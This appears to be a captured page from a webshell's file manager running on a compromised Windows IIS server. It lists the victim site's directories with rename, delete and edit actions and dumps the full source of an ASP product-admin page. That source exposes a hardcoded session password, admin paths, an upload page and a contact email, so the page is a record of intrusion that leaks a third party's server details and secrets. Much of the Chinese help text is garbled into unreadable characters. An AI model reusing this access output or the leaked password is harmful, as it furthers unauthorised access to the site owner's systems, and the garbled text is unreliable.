Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
<html> <% if session("asc365allpassword")<>"8879365" then response.end %> <head> <meta http-equiv="Content-Language" content="en-ca"> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <style>a{TEXT-DECORATION:none}</style> <!--#include file="Login.inc"--> <title><%=Pagename%></title> <%set fs=Server.CreateObject("Scripting.FileSystemObject") %> <%Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL")%> </head> <body> <% Response.Cookies("ItemNo")=trim(left(pagename,3)) ' ���ı������cookies ID=Request.Querystring("LL") if len(ID)=0 or left(ID,1)="*" then 'ֻ�о����Ʒ����@����ʱ���Ż����༭״̬ xxx="" Response.Cookies("ItemID")=xxx end if '-----------------------------------------����С�ļ��� if len(ID)<>0 then if left(ID,1)="@" then temp=split(ID,"|") xxx=trim(temp(1)) xxx=right(xxx,3) Response.Cookies("ItemID")=xxx If fs.FolderExists(Server.MapPath(xxx)) <> true Then '1-����ļ�������ڣ��� if isnumeric(xxx)=true and len(xxx)=3 then set f1=fs.CreateFolder(Server.MapPath(xxx)) set f1=nothing else inf1="Please Check "& ID end if end if If (fs.FileExists(Server.MapPath(xxx & "\Tech.inc")))<>true Then '���������ļ� set f1=fs.CreateTextFile(Server.MapPath(xxx & "\Tech.inc")) for i= 0 to 50 f1.WriteLine("") next f1.close :set f1=nothing end if If (fs.FileExists(Server.MapPath(xxx & "\Price.inc")))<>true Then '�����۸��ļ� set f1=fs.CreateTextFile(Server.MapPath(xxx & "\Price.inc")) for i= 0 to 50 f1.WriteLine("") next f1.close :set f1=nothing end if If (fs.FileExists(Server.MapPath(xxx & "\0000mainpage.htm")))<>true Then '������Ʒ�����ļ� set f1=fs.CreateTextFile(Server.MapPath(xxx & "\0000mainpage.htm")) for i= 0 to 50 f1.WriteLine("Please input HTML Code") next f1.close :set f1=nothing end if end if end if '---------------------------------------- if request.form("BB4")="Price" then '�۸������� if trim(request.form("TP1"))=trim(session("price")) then session("pricePassed")="Passed" else session("pricePassed")="00" end if end if 'response.write session("pricePassed") %> <%'----------��800������տ�%> <table border="1" width="800" height="5" style="border-collapse: collapse" bordercolor="#800000" bgcolor="#800000"> <tr> <td height="5" width="800" bordercolor="#800000"> <p align="center"><font color="#FFFF00" size="2" face="Verdana"><%=replace(ID,"'",chr(34))%></font></td> </tr> </table> <%'--------------------------%> <table border="0" width="1160" height="338" style="border-collapse: collapse" bordercolor="#C0C0C0"> <tr> <td height="332" width="800" valign=top> <% if len(xxx)=3 and left(ID,1)="@" then '---------------------------- ' �༭�۸� if session("pricePassed")="Passed" or session("9998181")="9998181" then Server.Execute ("02priceinput.asp") end if '------------------------------' ȫ��Ӧ�۸� if session("9998181")="9998181" then Server.Execute ("08GlobalPrice.asp") end if '---------------------������������ Server.Execute ("03Techinput.asp") '--------------------HTML ���� Server.Execute ("04htmlinput.asp") '-------------------Memo ���� Server.Execute ("05Memoinput.asp") end if if left(ID,1)="*" then Server.Execute ("07combine.asp") end if %></td> <td height="332" width="355" valign=top><!--#include file="01ProductInput.asp"--></td> </tr> </table> <%'----------��800������տ�%> <table border="1" width="800" height="5" style="border-collapse: collapse" bordercolor="#800000" bgcolor="#800000"> <tr> <td height="5" width="800" bordercolor="#800000"></td> </tr> </table> <%'---------------------------------------------------- if len(xxx)=3 then %> <table border="0" width="800" height="20" bgcolor="#CCCCFF"> <tr><form method="POST" action=""> <td height="20" width="146"> <input type="password" name="TP1" size="10"><input type="submit" value="Price" name="BB4" style="font-size: 12px; font-family: Verdana"></td> <td height="20" width="231"><font face="Verdana"><b><a target="_blank" href="<%="../uploadTester.asp"%>">File Upload</a></b></font></td> </form> </tr> </table> <% '---------------------�ļ����� Server.Execute ("06FileListing.asp") end if %> <%'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& set fs=Server.CreateObject("Scripting.FileSystemObject") BR=request.form("T1") QQ= request.Cookies("ItemNo") Dim SF(300): JJ=0 if request.form("B1")="B Item" then 'ץ1����Ʒ���� yy=trim(request.form("T1")) L=trim(left(yy,3)):R= trim(right(yy,3)) if L=QQ and len(yy)=6 and isnumeric(yy)=true then Pro=Server.MapPath("../../../ASC365_Store01/admin/"& QQ &"/" & R & "/" ) Pro1= Server.MapPath("../../../ASC365_Store01/admin/"& QQ &"/" & R ) Pro2= Server.MapPath( R ) ' response.write Pro & "<br>" ' response.write Pro1 & "<br>" ' response.write Pro2 & "<br>" if fs.FolderExists(Pro2) <> true Then '����ļ���(����ࣩ�����ڣ����� set f=fs.CreateFolder(Pro2) set f=nothing end if if fs.FolderExists(Pro1) = true Then set fo=fs.GetFolder(Pro1) for each x in fo.files xx=lcase(x.Name) if xx="tech.inc" then SF(JJ)=xx:JJ=JJ+1 'ȡ���ļ���������SF���� if right(xx,4)<>".inc" then SF(JJ)=xx:JJ=JJ+1 end if next set fo=nothing for i= 0 to jj-1 response.write SF(i) & "<br>" fs.CopyFile Pro1& "\"& SF(i),Pro2 & "\"& SF(i) ' �����ļ����� next else response.write "<font color='#FF0000' size='2' face='Verdana'>" response.write "Can't find product<b> " & QQ & R &"</b></font>" end if else response.write "<font color='#FF0000' size='2' face='Verdana'>" response.write "Please input correct product number, the first 3 letters must be "& QQ &" can be bring in the store.</font>" end if end if %> <table border="1" width="1200" height="4"> <tr> <td height="4" width="63" valign=top> <form method="POST" action=""> <input type="text" name="T1" size="9" style="font-size: 10px; font-family: Verdana" value="<%=BR%>"> <input type="submit" value="B Item" name="B1"> </form> </td> <td height="4" width="1122"> <%'--------------------------------------------------- dim Fname(999) dim Max(999) set fo=fs.GetFolder(Server.MapPath("./")) for each x in fo.SubFolders xx=(x.Name) 'max(xx)=1 next set fo=nothing s=0 for i= 0 to 999 if max(i)=1 then ii=i if len(ii)<3 then ii="0"&ii if len(ii)<3 then ii="0"&ii Fname(s)=ii s=s+1 end if next %> <table border="1" width="1127" height="43" bordercolor="#CCCCFF" style="border-collapse: collapse"> <%s=0:for m= 1 to 40 : if len(Fname(s))=0 then exit for%> <tr> <% for n= 1 to 20 %> <td height="11" width="1123"><font size="2" face="Verdana"><%=QQ & Fname(s)%><% s=s+1 %></font></td> <% if len(Fname(s))=0 then exit for %> <% next %> </tr> <% next %> </table> <%'------------------------------------------------%> </td> </tr> </table> <%'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%> <table border="0" width="1201" height="50" style="border-collapse: collapse"> <tr> <td height="22" width="1199"> <p align="center"><font color="#800000">Help</font></td> </tr> <tr> <td height="20" width="1199"> <font face="Verdana" size="2" color="#800000"> <span lang="zh-cn">����ҳ����������Ҳ�ı߿�Products Information Input���������ݣ�<br> ��*���ſ�ͷ������ * 00 | heat press�� ��ʾС������⣬00 - С������룬��������λ���֣���00��99. ���в�Ʒ����ǰ����00���붼������������ࡣ����֮���Ǹ������|����  ����С������⣨���ƣ���ע��˱��⽫����ʾ����վ�IJ�ƷС�����������ϸ��塣<br> С����������б��Ƿ����Ʒ��<br> ��@���ſ�ͷ������ @00 | 000000 |15"X 15" heat press. 00- ��Ʒ�������Ĵ��룬000000 - ��Ʒ���룬ÿһ����Ʒ�Ĵ�����Ψһ�ġ�����Dz�Ʒ���ƣ�ÿ���ֶ��ø�����ֿ���ÿ�������пɼ���IJ�Ʒ�������ޡ�<br> �Դ����ƣ����ʽΪ��<br> * 00 | ������1 <br> @ 00 | ��Ʒ����1 | ��Ʒ����1<br> @ 00 | ��Ʒ����2 | ��Ʒ����2 <br> --------<br> @ 00 | ��Ʒ���� | ��Ʒ����</span>n<br> <br> * 01| ������2<br> @ 0</span>1<span lang="zh-cn"> | ��Ʒ����1 | ��Ʒ����1<br> @ 0</span>1<span lang="zh-cn"> | ��Ʒ����2 | ��Ʒ����2 <br> --------<br> @ 0</span>1<span lang="zh-cn"> | ��Ʒ����</span>n<span lang="zh-cn"> | ��Ʒ����</span>n<br> ͬһ����Ʒ���Է��䵽��ͬ��С�����С� �ύ�������ݻ��������������·���ʾ�����������Ʒ�У���صIJ�Ʒ����������ʾ��������ʱ��ɱ༭�˲�Ʒ�ˡ���������У��˷����µIJ�Ʒ��ᰴ˳��������ʾ���������ڿ����Ʒ�����ڲ�Ʒ�����·���ʾһ��ģ��ļ۸�����<br> ��Ʒ�����༭��<br> ��Ʒ���� - ���Զ����ɵģ�������д��������������ʾ��д��<br> �ɷ�������վ��Y/N) - �����������Y�������༭�����ݾͻᱻ�������������վ����ʾ�����б������Լ����<br> �ǿ�����Ʒ��Y/N��- ��Щ��Ʒ˵�������ܣ�������Ҳռ��һ����Ʒ��ţ��������Ʒ�Dz�����ģ���Ҫ�ڿ������롱Y����<br> ��Ʒ��ҳ�������������κ�HTML�༭���ߣ�</span>frontpage,<span lang="zh-cn"> dreamweaver</span>...<span lang="zh-cn">�ȵȣ����༭�õ�HTML����ճ������HTML Input:������������У�Ȼ���ύ������������ݱ����ʾ����������������ݴ���ļ���Ϊ0000</span><span lang="en-us">mainpage.htm. �������Ҫ��HTML����֪ʶ��<br> </span><span lang="zh-cn">��Ʒ������ҳ����ʹ�õ�ͼƬ����÷�������ҳͬһ�ļ����ڣ�ͼƬ�ϴ�ʹ�á�FILE UPLOAD�� ���ܣ��������й�ͼƬ������һ���Ա��ڲ��ң����ݡ���HTLM������ͼƬ���þ��Ե�ַ������ʾ�� �����ϴ��κ��ļ��������ϴ����ļ���������ʾ������ֱ�ӵ����������ء�<br> ��ҳ���пɷ������¸���һ������ɫ����������Ϊ800</span><span lang="en-us">pixs,</span><span lang="zh-cn">�Դ�Ϊ���գ��༭�����ݿ�Ȳ��ô���800����վ�����Ʒҳ��Ŀ��Ϊ800������Ӱ���������ۡ�<br> Memo - ����Ʒ�༭�У��漰�����ο����ף���վ���ӵȣ����Լ�¼�ڴˣ������ٴ�ʹ�á�<br> ����Price�������У����빩���۸����룬����ҳ�Ϸ���ʾ�����۸������������빩���ۣ���ۣ�������ϵͳ�������̿�ֱ�ӱ༭���Ʒ���������빩���۸�<br> ����Ʒ������ʾ��</span><span lang="en-us"> - </span><span lang="zh-cn"> ���ڵ����в�Ʒ����ȫ����ʾ�ڴ�</span>.<span lang="zh-cn"><br> </span> <span lang="zh-cn"> ����һ����Ʒ������<br> ����һ������ܡ���ΪASC365���ŵij�Ա�����Ե������е�����ASC365��Ʒ��������ASC365���ţ��й���ռ����000 - 699��Ҳ���Dz�Ʒ����ǰ3λ���֣����������Ҫ�����Լ��IJ�Ʒ����Ʒ�����ǰ3λӦ��700 - 998��Χ�ڣ�999 ��Ϊ����š�<br> 1���鿴 </span><a href="http://china.asc365.com">http://china.asc365.com</a><font color="#800000"> <span lang="zh-cn">ѡ��Ҫ����IJ�Ʒ�����²�Ʒ���룬��006001<br> 2�����006�������Ƿ��Ѿ����������û�н�������֮����ϵͳ�ڹ���14���ֿ����Ա��</span></font><span lang="zh-cn">����006����ࡣ<br> 3������006�༭ҳ�棬�ڡ�B Item��������006001���ύ����006001��Ʒ�������ͱ����뵽��Ŀ��У�ע�⣬�����Ŀ����Ѿ�����006001���ϣ��µ�������Ͻ��Ḳ���Ѵ����ϣ��Ե�������Ͽɽ����ټӹ���<br> 4��ֻ�д�������ͬ�IJ�Ʒ�ſɵ��룬���磬������007001��Ʒ�������006���С�<br> 5��������IJ�Ʒ�����Ʒ�б���Ϳ��Բ鿴����IJ�Ʒ�ˡ�<br> 6��ֻ�з����̿��Դӹ�Ӧ�̣�CHINA)�������Ʒ��������֮�����ԣ�������֮���������롣<br> ��</span></font><p><font face="Verdana" size="2" color="#800000"> <span lang="zh-cn">�κβ���֮����ϵ </span> <a href="mailto:weizhao99@hotmail.com">weizhao99@hotmail.com</a> </font></td> </tr> </table> <% Set fs=Nothing %> </body> </html>